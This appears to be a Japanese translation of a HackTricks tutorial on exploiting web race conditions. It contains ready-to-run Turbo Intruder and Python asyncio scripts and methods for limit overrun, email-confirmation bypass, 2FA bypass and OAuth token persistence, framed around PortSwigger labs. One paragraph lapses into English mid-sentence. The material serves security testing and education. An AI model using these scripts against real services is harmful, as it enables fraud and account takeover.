27 KiB
レースコンディション
Trickestを使用して、世界で最も進んだコミュニティツールを活用したワークフローを簡単に構築し自動化します。
今すぐアクセス:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
htARTE (HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ
HackTricksをサポートする他の方法:
- HackTricksにあなたの会社を広告したい、またはHackTricksをPDFでダウンロードしたい場合は、サブスクリプションプランをチェックしてください!
- 公式PEASS & HackTricksグッズを入手する
- PEASSファミリーを発見し、独占的なNFTコレクションをチェックする
- 💬 Discordグループやテレグラムグループに参加する、またはTwitter 🐦 @carlospolopmをフォローする。
- HackTricksとHackTricks CloudのGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する。
RCの悪用
RCを悪用する主な問題は、リクエストが非常に短い時間差(通常は>1ms)で並行して処理される必要があることです。以下のセクションでは、これを可能にするためのさまざまな解決策が提案されています。
シングルパケット攻撃(HTTP/2)/ ラストバイト同期(HTTP/1.1)
HTTP2では1つのTCP接続で2つのリクエストを送信できます(HTTP/1.1では順番に行う必要があります)。
単一のTCPパケットの使用は、ネットワークジッターの影響を完全に排除しますので、これはレースコンディション攻撃にも明らかに可能性があります。しかし、サーバーサイドジッターのおかげで、2つのリクエストでは信頼性のあるレース攻撃には不十分です。これは、CPU競合などの制御不能な変数によって引き起こされるアプリケーションのリクエスト処理時間の変動です。
しかし、HTTP/1.1の「ラストバイト同期」テクニックを使用すると、各リクエストの大部分を事前に送信し、ごくわずかな断片を保留してから、**単一のTCPパケットで20-30のリクエストを「完了」**することが可能です。
各リクエストの大部分を事前に送信するには:
- リクエストにボディがない場合は、すべてのヘッダーを送信しますが、END_STREAMフラグは設定しません。END_STREAMが設定された空のデータフレームを保留します。
- リクエストにボディがある場合は、ヘッダーとボディデータの最後のバイトとEND_STREAMフラグを除くすべてを送信します。最後のバイトを含むデータフレームを保留します。
次に、最終フレームの送信を準備します:
- 初期フレームが送信されたことを確認するために100ms待ちます。
- TCP_NODELAYが無効になっていることを確認します - Nagleのアルゴリズムが最終フレームをバッチ処理することが重要です。
- ローカル接続を温めるためにピングパケットを送信します。これを行わないと、OSネットワークスタックは最初の最終フレームを別のパケットに配置します。
最後に、保留されていたフレームを送信します。Wiresharkを使用して、それらが単一のパケットに着陸したことを確認できるはずです。
{% hint style="info" %} 特定のサーバー上の静的ファイルには機能しないことに注意してくださいが、静的ファイルはRC攻撃には関係ありません。 {% endhint %}
このテクニックを使用すると、ネットワークジッターに関係なく、20-30のリクエストをサーバーに同時に到着させることができます:
ターゲットアーキテクチャに適応する
多くのアプリケーションはフロントエンドサーバーの背後にあり、これらは一部のリクエストを既存の接続を介してバックエンドに転送し、他のリクエストには新しい接続を作成することを決定する場合があります。
その結果、リクエストの不規則なタイミングをアプリケーションの動作、例えば一度に1つのスレッドのみがリソースにアクセスを許可するロックメカニズムなどに帰することは重要ではありません。また、フロントエンドのリクエストルーティングはしばしば接続ごとに行われるため、攻撃を実行する前に接続を温めることでリクエストのタイミングを滑らかにすることができるかもしれません(これは実際の攻撃を開始する前にいくつかのリクエストを送信することです)。
セッションベースのロックメカニズム
一部のフレームワークは、偶発的なデータ破損を防ぐために、何らかの形のリクエストロックを使用しています。例えば、PHPのネイティブセッションハンドラーモジュールは、一度に1つのセッションごとに1つのリクエストのみを処理します。
このような動作を見つけることは非常に重要です。それ以外の場合、簡単に悪用できる脆弱性を隠してしまう可能性があります。すべてのリクエストが順番に処理されていることに気づいた場合は、それぞれに異なるセッショントークンを使用して送信してみてください。
レートまたはリソース制限の悪用
接続の温めが何の違いも生まない場合は、この問題に対するさまざまな解決策があります。
Turbo Intruderを使用すると、短いクライアント側の遅延を導入できます。ただし、これにより実際の攻撃リクエストを複数のTCPパケットに分割する必要があるため、シングルパケット攻撃テクニックを使用することはできません。その結果、高ジッターのターゲットでは、設定する遅延に関係なく、攻撃は信頼性を持って機能しない可能性があります。
代わりに、一般的なセキュリティ機能を悪用することで、この問題を解決できるかもしれません。
Webサーバーは、あまりにも速く多くのリクエストが送信されると、リクエストの処理を遅らせることがよくあります。大量のダミーリクエストを intentionally trigger the rate or resource limit, you may be able to cause a suitable server-side delay. This makes the single-packet attack viable even when delayed execution is required.
{% hint style="warning" %} このテクニックの詳細については、元のレポートをhttps://portswigger.net/research/smashing-the-state-machineで確認してください。 {% endhint %}
攻撃例
- Tubo Intruder - HTTP2シングルパケット攻撃(1エンドポイント):リクエストをTurbo intruder(
Extensions
->Turbo Intruder
->Send to Turbo Intruder
)に送信できます。リクエストでブルートフォースしたい値を**%s
のように変更できます。例えばcsrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s
のようにして、ドロップダウンからexamples/race-single-packer-attack.py
**を選択します:
異なる値を送信する場合は、クリップボードからの単語リストを使用するこのコードでコードを変更できます:
passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')
{% hint style="warning" %}
もしWebがHTTP2をサポートしていない(HTTP1.1のみ)場合は、Engine.BURP2
の代わりにEngine.THREADED
またはEngine.BURP
を使用してください。
{% endhint %}
- Tubo Intruder - HTTP2 シングルパケット攻撃(複数のエンドポイント): RCEをトリガーするために1つのエンドポイントにリクエストを送り、その後他のエンドポイントに複数のリクエストを送る必要がある場合、
race-single-packet-attack.py
スクリプトを以下のように変更できます:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)
# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0
'''
# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt
# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)
# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)
# send all the queued requests for this attempt
engine.openGate(currentAttempt)
- Repeaterでは、Burp Suiteの新機能「Send group in parallel」オプションを通じて利用可能です。
- limit-overrunの場合、グループに同じリクエストを50回追加するだけです。
- connection warmingのためには、グループの最初に、ウェブサーバーの静的でない部分へのいくつかのリクエストを追加します。
- 2つのサブステートステップで一つのリクエストと別のリクエストの処理の間に遅延を生じさせるためには、両方のリクエストの間に追加のリクエストを追加します。
- multi-endpoint RCの場合、隠された状態に行くリクエストを送信し始め、その直後に隠された状態を利用する50のリクエストを送信します。
Raw BF
以前の研究より前には、RCを引き起こすためにできるだけ早くパケットを送信しようとするいくつかのペイロードが使用されていました。
- Repeater: 前のセクションの例を確認してください。
- Intruder: リクエストをIntruderに送信し、Optionsメニュー内でスレッドの数を30に設定し、ペイロードにNull payloads**を選択し、30を生成します。
- Turbo Intruder
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)
- Python - asyncio
import asyncio
import httpx
async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text
async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))
# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)
# Print results
for r in results:
print(r)
# Async2sync sleep
await asyncio.sleep(0.5)
print(results)
asyncio.run(main())
RC 方法論
Limit-overrun / TOCTOU
これは、アクションを実行できる回数に制限がある場所に現れる脆弱性の最も基本的なタイプです。例えば、ウェブストアで同じ割引コードを何度も使用することです。非常に簡単な例はこのレポートやこのバグで見つけることができます。
この種の攻撃には多くのバリエーションがあります。これには以下が含まれます:
- ギフトカードを複数回償還する
- 製品を複数回評価する
- 口座残高を超えて現金を引き出すまたは転送する
- 単一のCAPTCHAソリューションを再利用する
- アンチブルートフォースレート制限をバイパスする
隠されたサブステート
より複雑なRCは、攻撃者が決してアクセスすることを意図されていなかった状態を悪用することができるマシン状態のサブステートを悪用しますが、攻撃者がそれにアクセスするための小さなウィンドウがあります。
- 潜在的な隠された&興味深いサブステートを予測する
最初のステップは、それに書き込むか、またはそれからデータを読み取り、そのデータを何か重要なことに使用するすべてのエンドポイントを特定することです。例えば、ユーザーは登録、プロファイル編集、パスワードリセットの開始、パスワードリセットの完了によって変更されるデータベーステーブルに格納されるかもしれません。
衝突を引き起こす可能性が低いエンドポイントを除外するために、3つの重要な質問を使用できます。各オブジェクトと関連するエンドポイントについて、次のことを尋ねます:
- 状態はどのように保存されますか?
サーバー側の永続的なデータ構造に保存されたデータは、悪用に理想的です。一部のエンドポイントは、JWTをメールで送信するパスワードリセットのように、その状態を完全にクライアント側で保存します - これらは安全にスキップできます。
アプリケーションはしばしばいくつかの状態をユーザーセッションに保存します。これらはしばしばサブステートに対してある程度保護されています - 後で詳しく説明します。
- 編集していますか、それとも追加していますか?
既存のデータを編集する操作(例えば、アカウントの主要なメールアドレスを変更する)は衝突の可能性が十分にありますが、既存のデータに単に追加する行動(例えば、追加のメールアドレスを追加する)は、Limit-overrun攻撃以外には脆弱である可能性が低いです。
- 操作は何に基づいていますか?
ほとんどのエンドポイントは特定のレコードに操作を行い、ユーザー名、パスワードリセットトークン、またはファイル名などの「キー」を使用して検索します。成功した攻撃には、同じキーを使用する2つの操作が必要です。例えば、2つのありそうなパスワードリセットの実装を想像してみてください:
- 手がかりを探る
この時点で、興味深いエンドポイントに対していくつかのRC攻撃を開始し、通常のものと比較して予期しない結果を見つけようとします。期待される応答からの逸脱、例えば一つ以上の応答の変更、または異なるメール内容やセッションに見える変更などの二次効果は、何かが間違っていることを示す手がかりになる可能性があります。
- コンセプトを証明する
最後のステップは、コンセプトを証明し、それを実行可能な攻撃に変えることです。
一連のリクエストを送信すると、早い段階でのリクエストペアが脆弱なエンドステートを引き起こす可能性がありますが、後のリクエストがそれを上書き/無効にし、最終的な状態は悪用できないものになるかもしれません。このシナリオでは、不要なリクエストをすべて排除する必要があります - ほとんどの脆弱性を悪用するには2つで十分です。ただし、リクエストを2つに減らすと攻撃のタイミングが敏感になるため、攻撃を複数回試行するか、自動化する必要があるかもしれません。
タイムセンシティブ攻撃
時にはレースコンディションを見つけることができないかもしれませんが、リクエストを正確なタイミングで送信するための技術は、他の脆弱性の存在を明らかにすることができます。
その一例は、暗号学的に安全なランダム文字列の代わりに高解像度のタイムスタンプがセキュリティトークンを生成するために使用される場合です。
タイムスタンプを使用してランダム化されるパスワードリセットトークンを考えてみてください。この場合、同じトークンを使用する2つの異なるユーザーのパスワードリセットをトリガーすることが可能かもしれません。必要なのは、同じタイムスタンプを生成するようにリクエストをタイミングよく行うことです。
{% hint style="warning" %} 例えば前述の状況を確認するには、同時に2つのパスワードリセットトークンを要求する(シングルパケット攻撃を使用)ことができ、それらが同じかどうかを確認します。 {% endhint %}
このラボの例をチェックしてください。
隠されたサブステートのケーススタディ
支払い&アイテム追加
このラボをチェックして、店で支払いを行い、それに対して追加料金を支払う必要がないアイテムを追加する方法を見てください。
他のメールを確認する
このアイデアは、メールアドレスを確認し、同時に別のものに変更することで、プラットフォームが新しく変更されたものを検証するかどうかを見つけることです。
Cookieベースで2つのメールアドレスにメールを変更する
このライトアップによると、Gitlabはこの方法で乗っ取りに脆弱でした。なぜなら、一方のメールのメール確認トークンを他方のメールに送信する可能性があったからです。
このことについてもこのラボをチェックして学ぶことができます。
隠されたデータベース状態 / 確認バイパス
2つの異なる書き込みが使用されてデータベース内に情報を追加する場合、最初のデータが書き込まれた後の小さな時間があります。例えば、ユーザーを作成するときに、ユーザー名とパスワードが書き込まれ、その後で新しく作成されたアカウントを確認するためのトークンが書き込まれます。これは、アカウントを確認するためのトークンがnullである小さな時間があることを意味します。
したがって、アカウントを登録し、空のトークンを使用して複数のリクエストを送信する(token=
やtoken[]=
またはその他のバリエーション)ことで、メールをコントロールしていないアカウントを確認することができるかもしれません。
このラボをチェックして例を確認してください。
2FAをバイパスする
以下の擬似コードは、ウェブサイトがこの攻撃のレースバリエーションに脆弱である可能性を示しています:
session['userid'] = user.userid
if user.mfa_enabled:
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form
以下は、単一のリクエストの範囲内での多段階シーケンスであることがわかります。最も重要なのは、ユーザーが一時的に有効なログインセッションを持っているが、まだMFAが強制されていないというサブステートを経由することです。攻撃者は、ログインリクエストと機密性の高い認証済みエンドポイントへのリクエストを同時に送信することで、これを悪用する可能性があります。
OAuth2 永続性
いくつかのOAuthプロバイダーがあります。これらのサービスでは、アプリケーションを作成し、プロバイダーが登録しているユーザーを認証することができます。これを行うためには、クライアントがOAuthプロバイダー内のデータの一部にアプリケーションがアクセスすることを許可する必要があります。
ここまでは、google/linkdin/github...での一般的なログインで、"アプリケーション<InsertCoolName>があなたの情報にアクセスしたいと考えています。許可しますか?"というページが表示されます。
authorization_code
のレースコンディション
問題は、それを受け入れると自動的に**authorization_code
が悪意のあるアプリケーションに送信されることです。その後、このアプリケーションはOAuthサービスプロバイダーのレースコンディションを悪用して、あなたのアカウントの**authorization_code
から複数のAT/RT (認証トークン/リフレッシュトークン) を生成します。基本的に、アプリケーションがあなたのデータにアクセスすることを受け入れた事実を悪用して複数のアカウントを作成します。そして、アプリケーションがあなたのデータにアクセスすることを停止すると、一組のAT/RTは削除されますが、他のものは有効のままです。
Refresh Token
のレースコンディション
有効なRTを取得したら、それを悪用して複数のAT/RTを生成しようと試みることができ、ユーザーが悪意のあるアプリケーションのデータアクセス許可をキャンセルしても、複数のRTがまだ有効です。
WebSocketsのRC
WS_RaceCondition_PoCでは、JavaでのPoCを見つけることができ、並行してwebsocketメッセージを送信してWeb Socketsでもレースコンディションを悪用します。
参考文献
- https://hackerone.com/reports/759247
- https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html
- https://hackerone.com/reports/55140
- https://portswigger.net/research/smashing-the-state-machine
- https://portswigger.net/web-security/race-conditions
AWSハッキングをゼロからヒーローまで学ぶには htARTE (HackTricks AWS Red Team Expert)をご覧ください!
HackTricksをサポートする他の方法:
- HackTricksに広告を掲載したい、またはHackTricksをPDFでダウンロードしたい場合は、サブスクリプションプランをチェックしてください!
- 公式PEASS & HackTricksグッズを入手してください。
- The PEASS Familyを発見し、独占的なNFTコレクションをチェックしてください。
- 💬 Discordグループやテレグラムグループに参加するか、Twitter 🐦 @carlospolopmでフォローしてください。
- HackTricksとHackTricks CloudのgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有してください。
世界で最も先進的なコミュニティツールを駆使してワークフローを簡単に構築し自動化するためにTrickestを使用してください。
今すぐアクセス:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}